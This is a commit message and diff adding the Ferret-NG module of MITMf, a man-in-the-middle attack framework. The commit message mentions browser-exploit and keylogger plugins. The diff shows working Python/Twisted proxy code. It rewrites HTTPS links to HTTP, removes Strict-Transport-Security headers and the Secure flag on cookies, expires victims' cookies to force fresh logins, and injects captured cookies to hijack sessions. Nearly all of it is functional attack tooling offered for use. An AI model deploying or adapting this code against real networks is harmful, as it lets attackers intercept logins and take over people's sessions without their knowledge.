This commit is just to push the changes so far to github , still have to tidy things up here and there and fix some bugs (also I really hate javascript)

JavaPwn plugin has been renamed to BrowserSniper (cause it now supports java, flash and browser exploits), it's been completly re-written along with it's config file section
Addition of the screenshotter plugin, currently there is a bug when decoding the base64 encoded png files (a very wierd one) , but other than that it works (did i mention i hate js?)
Jskeylogger's javscript now works on every browser except FF mobile (have no clue what's with that) p.s. did i mention i hate JS?
Plugins that deal with javascript now read it from a file as supposed to having it built in (encoding issues) fu javascript
User agent parsing is now built in and handled by core/httpagentparser.py, this because the user-agent library is a pain to install on some distros , also removes 3-4 deps which is a plus

also fuck javascript

core/ferretng/ClientRequest.py

@@ -0,0 +1,168 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import urlparse 
+import logging 
+import os 
+import sys 
+import random
+import re
+
+from twisted.web.http import Request
+from twisted.web.http import HTTPChannel
+from twisted.web.http import HTTPClient
+
+from twisted.internet import ssl
+from twisted.internet import defer
+from twisted.internet import reactor
+from twisted.internet.protocol import ClientFactory
+
+from ServerConnectionFactory import ServerConnectionFactory
+from ServerConnection import ServerConnection
+from SSLServerConnection import SSLServerConnection
+from URLMonitor import URLMonitor
+from CookieCleaner import CookieCleaner
+from DnsCache import DnsCache
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class ClientRequest(Request):
+
+    ''' This class represents incoming client requests and is essentially where
+    the magic begins.  Here we remove the client headers we dont like, and then
+    respond with either favicon spoofing, session denial, or proxy through HTTP
+    or SSL to the server.
+    '''
+
+    def __init__(self, channel, queued, reactor=reactor):
+        Request.__init__(self, channel, queued)
+        self.reactor       = reactor
+        self.urlMonitor    = URLMonitor.getInstance()
+        self.cookieCleaner = CookieCleaner.getInstance()
+        self.dnsCache      = DnsCache.getInstance()
+        #self.uniqueId      = random.randint(0, 10000)
+
+    def cleanHeaders(self):
+        headers = self.getAllHeaders().copy()
+
+        if 'accept-encoding' in headers:
+             del headers['accept-encoding']
+             mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding")
+
+        if 'if-modified-since' in headers:
+            del headers['if-modified-since']
+
+        if 'cache-control' in headers:
+            del headers['cache-control']
+
+        if 'host' in headers:
+            if headers['host'] in self.urlMonitor.cookies:
+                mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
+                headers['cookie'] = self.urlMonitor.cookies[headers['host']]
+
+        return headers
+
+    def getPathFromUri(self):
+        if (self.uri.find("http://") == 0):
+            index = self.uri.find('/', 7)
+            return self.uri[index:]
+
+        return self.uri   
+
+    def handleHostResolvedSuccess(self, address):
+        mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
+        host              = self.getHeader("host")
+        headers           = self.cleanHeaders()
+        client            = self.getClientIP()
+        path              = self.getPathFromUri()
+        url               = 'http://' + host + path
+        self.uri = url # set URI to absolute
+
+        if self.content:
+            self.content.seek(0,0)
+        
+        postData = self.content.read()
+
+        hostparts = host.split(':')
+        self.dnsCache.cacheResolution(hostparts[0], address)
+
+        if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
+            mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies")
+            self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
+
+        elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
+            if 'securelink' in headers:
+                del headers['securelink']
+            
+            mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url)))
+            self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
+        
+        else:
+            mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP")
+            #self.proxyViaHTTP(address, self.method, path, postData, headers)
+            port = 80
+            if len(hostparts) > 1:
+                port = int(hostparts[1])
+
+            self.proxyViaHTTP(address, self.method, path, postData, headers, port)
+
+    def handleHostResolvedError(self, error):
+        mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error))
+        try:
+            self.finish()
+        except:
+            pass
+
+    def resolveHost(self, host):
+        address = self.dnsCache.getCachedAddress(host)
+
+        if address != None:
+            mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address))
+            return defer.succeed(address)
+        else:
+            return reactor.resolve(host)
+
+    def process(self):
+        mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host')))
+        host = self.getHeader('host').split(":")[0]              
+
+        deferred = self.resolveHost(host)
+        deferred.addCallback(self.handleHostResolvedSuccess)
+        deferred.addErrback(self.handleHostResolvedError)
+        
+    def proxyViaHTTP(self, host, method, path, postData, headers, port):
+        connectionFactory          = ServerConnectionFactory(method, path, postData, headers, self)
+        connectionFactory.protocol = ServerConnection
+        #self.reactor.connectTCP(host, 80, connectionFactory)
+        self.reactor.connectTCP(host, port, connectionFactory)
+
+    def proxyViaSSL(self, host, method, path, postData, headers, port):
+        clientContextFactory       = ssl.ClientContextFactory()
+        connectionFactory          = ServerConnectionFactory(method, path, postData, headers, self)
+        connectionFactory.protocol = SSLServerConnection
+        self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
+
+    def sendExpiredCookies(self, host, path, expireHeaders):
+        self.setResponseCode(302, "Moved")
+        self.setHeader("Connection", "close")
+        self.setHeader("Location", "http://" + host + path)
+        
+        for header in expireHeaders:
+            self.setHeader("Set-Cookie", header)
+
+        self.finish()        

core/ferretng/CookieCleaner.py

@@ -0,0 +1,105 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+import string
+
+class CookieCleaner:
+    '''This class cleans cookies we haven't seen before.  The basic idea is to
+    kill sessions, which isn't entirely straight-forward.  Since we want this to
+    be generalized, there's no way for us to know exactly what cookie we're trying
+    to kill, which also means we don't know what domain or path it has been set for.
+
+    The rule with cookies is that specific overrides general.  So cookies that are
+    set for mail.foo.com override cookies with the same name that are set for .foo.com,
+    just as cookies that are set for foo.com/mail override cookies with the same name
+    that are set for foo.com/
+
+    The best we can do is guess, so we just try to cover our bases by expiring cookies
+    in a few different ways.  The most obvious thing to do is look for individual cookies
+    and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
+    set by Javascript instead of a Set-Cookie header, and if we block those the site
+    will think cookies are disabled in the browser.  So we do the expirations and whitlisting
+    based on client,server tuples.  The first time a client hits a server, we kill whatever
+    cookies we see then.  After that, we just let them through.  Not perfect, but pretty effective.
+
+    '''
+
+    _instance = None
+
+    def __init__(self):
+        self.cleanedCookies = set();
+        self.enabled        = False
+
+    @staticmethod
+    def getInstance():
+        if CookieCleaner._instance == None:
+            CookieCleaner._instance = CookieCleaner()
+
+        return CookieCleaner._instance
+
+    def setEnabled(self, enabled):
+        self.enabled = enabled
+
+    def isClean(self, method, client, host, headers):
+        if method == "POST":             return True
+        if not self.enabled:             return True
+        if not self.hasCookies(headers): return True
+        
+        return (client, self.getDomainFor(host)) in self.cleanedCookies
+
+    def getExpireHeaders(self, method, client, host, headers, path):
+        domain = self.getDomainFor(host)
+        self.cleanedCookies.add((client, domain))
+
+        expireHeaders = []
+
+        for cookie in headers['cookie'].split(";"):
+            cookie                 = cookie.split("=")[0].strip()            
+            expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)            
+            expireHeaders.extend(expireHeadersForCookie)
+        
+        return expireHeaders
+
+    def hasCookies(self, headers):
+        return 'cookie' in headers        
+
+    def getDomainFor(self, host):
+        hostParts = host.split(".")
+        return "." + hostParts[-2] + "." + hostParts[-1]
+
+    def getExpireCookieStringFor(self, cookie, host, domain, path):
+        pathList      = path.split("/")
+        expireStrings = list()
+        
+        expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 
+                             ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+        expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 
+                             ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+        if len(pathList) > 2:
+            expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
+                                 domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+
+            expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
+                                 host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
+        
+        return expireStrings
+
+    

core/ferretng/DnsCache.py

@@ -0,0 +1,49 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class DnsCache:    
+
+	'''
+	The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
+	'''
+
+	_instance          = None
+
+	def __init__(self):
+		self.customAddress = None
+		self.cache = {}
+
+	@staticmethod
+	def getInstance():
+		if DnsCache._instance == None:
+			DnsCache._instance = DnsCache()
+
+		return DnsCache._instance
+
+	def cacheResolution(self, host, address):
+		self.cache[host] = address
+
+	def getCachedAddress(self, host):
+		if host in self.cache:
+			return self.cache[host]
+
+		return None

core/ferretng/FerretProxy.py

@@ -0,0 +1,24 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+from twisted.web.http import HTTPChannel
+from ClientRequest import ClientRequest
+
+class FerretProxy(HTTPChannel):
+
+    requestFactory = ClientRequest

core/ferretng/SSLServerConnection.py

@@ -0,0 +1,95 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging, re, string
+
+from ServerConnection import ServerConnection
+from URLMonitor import URLMonitor
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class SSLServerConnection(ServerConnection):
+
+    ''' 
+    For SSL connections to a server, we need to do some additional stripping.  First we need
+    to make note of any relative links, as the server will be expecting those to be requested
+    via SSL as well.  We also want to slip our favicon in here and kill the secure bit on cookies.
+    '''
+
+    cookieExpression   = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
+    cssExpression      = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
+    iconExpression     = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
+    linkExpression     = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
+    headExpression     = re.compile(r"<head>", re.IGNORECASE)
+
+    def __init__(self, command, uri, postData, headers, client):
+        ServerConnection.__init__(self, command, uri, postData, headers, client)
+        self.urlMonitor = URLMonitor.getInstance()
+
+    def getLogLevel(self):
+        return logging.INFO
+
+    def getPostPrefix(self):
+        return "SECURE POST"
+
+    def handleHeader(self, key, value):
+        if (key.lower() == 'set-cookie'):
+            value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
+        
+        ServerConnection.handleHeader(self, key, value)
+
+    def stripFileFromPath(self, path):
+        (strippedPath, lastSlash, file) = path.rpartition('/')
+        return strippedPath
+
+    def buildAbsoluteLink(self, link):
+        absoluteLink = ""
+        
+        if ((not link.startswith('http')) and (not link.startswith('/'))):                
+            absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
+
+            mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link)
+            mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink)                
+        elif not link.startswith('http'):
+            absoluteLink = "http://"+self.headers['host']+link
+
+            mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link)
+            mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink)                            
+
+        if not absoluteLink == "":                
+            absoluteLink = absoluteLink.replace('&amp;', '&')
+            self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);        
+
+    def replaceCssLinks(self, data):
+        iterator = re.finditer(SSLServerConnection.cssExpression, data)
+
+        for match in iterator:
+            self.buildAbsoluteLink(match.group(1))
+
+        return data
+        
+    def replaceSecureLinks(self, data):
+        data = ServerConnection.replaceSecureLinks(self, data)
+        data = self.replaceCssLinks(data)
+
+        iterator = re.finditer(SSLServerConnection.linkExpression, data)
+
+        for match in iterator:
+            self.buildAbsoluteLink(match.group(10))
+
+        return data

core/ferretng/ServerConnection.py

@@ -0,0 +1,193 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging 
+import re 
+import string
+import random 
+import zlib 
+import gzip
+import StringIO
+import sys
+
+from twisted.web.http import HTTPClient
+from URLMonitor import URLMonitor
+
+mitmf_logger = logging.getLogger('mitmf')
+
+class ServerConnection(HTTPClient):
+
+    ''' The server connection is where we do the bulk of the stripping.  Everything that
+    comes back is examined.  The headers we dont like are removed, and the links are stripped
+    from HTTPS to HTTP.
+    '''
+
+    urlExpression     = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
+    urlType           = re.compile(r"https://", re.IGNORECASE)
+    urlExplicitPort   = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
+    urlTypewww        = re.compile(r"https://www", re.IGNORECASE)
+    urlwExplicitPort  = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
+    urlToken1         = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
+    urlToken2         = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
+    #urlToken2        = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
+
+    def __init__(self, command, uri, postData, headers, client):
+
+        self.command          = command
+        self.uri              = uri
+        self.postData         = postData
+        self.headers          = headers
+        self.client           = client
+        self.clientInfo       = None
+        self.urlMonitor       = URLMonitor.getInstance()
+        self.isImageRequest   = False
+        self.isCompressed     = False
+        self.contentLength    = None
+        self.shutdownComplete = False
+
+    def getPostPrefix(self):
+        return "POST"
+
+    def sendRequest(self):
+        if self.command == 'GET':
+
+            mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host']))
+
+        self.sendCommand(self.command, self.uri)
+
+    def sendHeaders(self):
+        for header, value in self.headers.iteritems():
+            mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value))
+            self.sendHeader(header, value)
+
+        self.endHeaders()
+
+    def sendPostData(self):
+
+        self.transport.write(self.postData)
+
+    def connectionMade(self):
+        mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.")
+        self.sendRequest()
+        self.sendHeaders()
+        
+        if (self.command == 'POST'):
+            self.sendPostData()
+
+    def handleStatus(self, version, code, message):
+        mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message))
+        self.client.setResponseCode(int(code), message)
+
+    def handleHeader(self, key, value):
+        if (key.lower() == 'location'):
+            value = self.replaceSecureLinks(value)
+
+        if (key.lower() == 'content-type'):
+            if (value.find('image') != -1):
+                self.isImageRequest = True
+                mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning")
+
+        if (key.lower() == 'content-encoding'):
+            if (value.find('gzip') != -1):
+                mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed")
+                self.isCompressed = True
+
+        elif (key.lower()== 'strict-transport-security'):
+            mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header")
+
+        elif (key.lower() == 'content-length'):
+            self.contentLength = value
+
+        elif (key.lower() == 'set-cookie'):
+            self.client.responseHeaders.addRawHeader(key, value)
+
+        else:
+            self.client.setHeader(key, value)
+
+    def handleEndHeaders(self):
+        if (self.isImageRequest and self.contentLength != None):
+            self.client.setHeader("Content-Length", self.contentLength)
+
+        if self.length == 0:
+            self.shutdown()
+
+        if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
+            for header, value in self.client.headers.iteritems():
+                mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) 
+
+    def handleResponsePart(self, data):
+        if (self.isImageRequest):
+            self.client.write(data)
+        else:
+            HTTPClient.handleResponsePart(self, data)
+
+    def handleResponseEnd(self):
+        if (self.isImageRequest):
+            self.shutdown()
+        else:
+            try:
+                HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors
+            except:
+                pass
+
+    def handleResponse(self, data):
+        if (self.isCompressed):
+            mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...")
+            data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
+
+        data = self.replaceSecureLinks(data)
+
+        mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data)))
+
+        if (self.contentLength != None):
+            self.client.setHeader('Content-Length', len(data))
+        
+        try:
+            self.client.write(data)
+        except:
+            pass
+
+        try:
+            self.shutdown()
+        except:
+            mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.")
+
+    def replaceSecureLinks(self, data):
+
+        iterator = re.finditer(ServerConnection.urlExpression, data)
+
+        for match in iterator:
+            url = match.group()
+
+            mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url)
+
+            url = url.replace('https://', 'http://', 1)
+            url = url.replace('&', '&')
+            self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
+
+        data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
+        return re.sub(ServerConnection.urlType, 'http://', data)
+
+    def shutdown(self):
+        if not self.shutdownComplete:
+            self.shutdownComplete = True
+            try:
+                self.client.finish()
+                self.transport.loseConnection()
+            except:
+                pass

core/ferretng/ServerConnectionFactory.py

@@ -0,0 +1,48 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import logging
+from twisted.internet.protocol import ClientFactory
+
+mitmf_logger = logging.getLogger('mimtf')
+
+class ServerConnectionFactory(ClientFactory):
+
+    def __init__(self, command, uri, postData, headers, client):
+        self.command      = command
+        self.uri          = uri
+        self.postData     = postData
+        self.headers      = headers
+        self.client       = client
+
+    def buildProtocol(self, addr):
+        return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
+    
+    def clientConnectionFailed(self, connector, reason):
+        mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.")
+
+        destination = connector.getDestination()
+
+        if (destination.port != 443):
+            mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL")
+            self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
+        else:
+            try:
+                self.client.finish()
+            except:
+                pass

core/ferretng/URLMonitor.py

@@ -0,0 +1,85 @@
+# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import re
+import os
+import logging
+
+mitmf_logger = logging.getLogger('mimtf')
+
+class URLMonitor:    
+
+    '''
+    The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
+    server is expecting over SSL.  It also keeps track of secure favicon urls.
+    '''
+
+    # Start the arms race, and end up here...
+    javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
+    cookies            = dict()
+    _instance          = None
+
+    def __init__(self):
+        self.strippedURLs       = set()
+        self.strippedURLPorts   = dict()
+
+    @staticmethod
+    def getInstance():
+        if URLMonitor._instance == None:
+            URLMonitor._instance = URLMonitor()
+
+        return URLMonitor._instance
+
+    def isSecureLink(self, client, url):
+        for expression in URLMonitor.javascriptTrickery:
+            if (re.match(expression, url)):
+                return True
+
+        return (client,url) in self.strippedURLs
+
+    def getSecurePort(self, client, url):
+        if (client,url) in self.strippedURLs:
+            return self.strippedURLPorts[(client,url)]
+        else:
+            return 443
+
+    def addSecureLink(self, client, url):
+        methodIndex = url.find("//") + 2
+        method      = url[0:methodIndex]
+
+        pathIndex   = url.find("/", methodIndex)
+        if pathIndex is -1:
+            pathIndex = len(url)
+            url += "/"
+
+        host        = url[methodIndex:pathIndex].lower()
+        path        = url[pathIndex:]
+
+        port        = 443
+        portIndex   = host.find(":")
+
+        if (portIndex != -1):
+            host = host[0:portIndex]
+            port = host[portIndex+1:]
+            if len(port) == 0:
+                port = 443
+
+        url = method + host + path
+
+        self.strippedURLs.add((client, url))
+        self.strippedURLPorts[(client, url)] = int(port)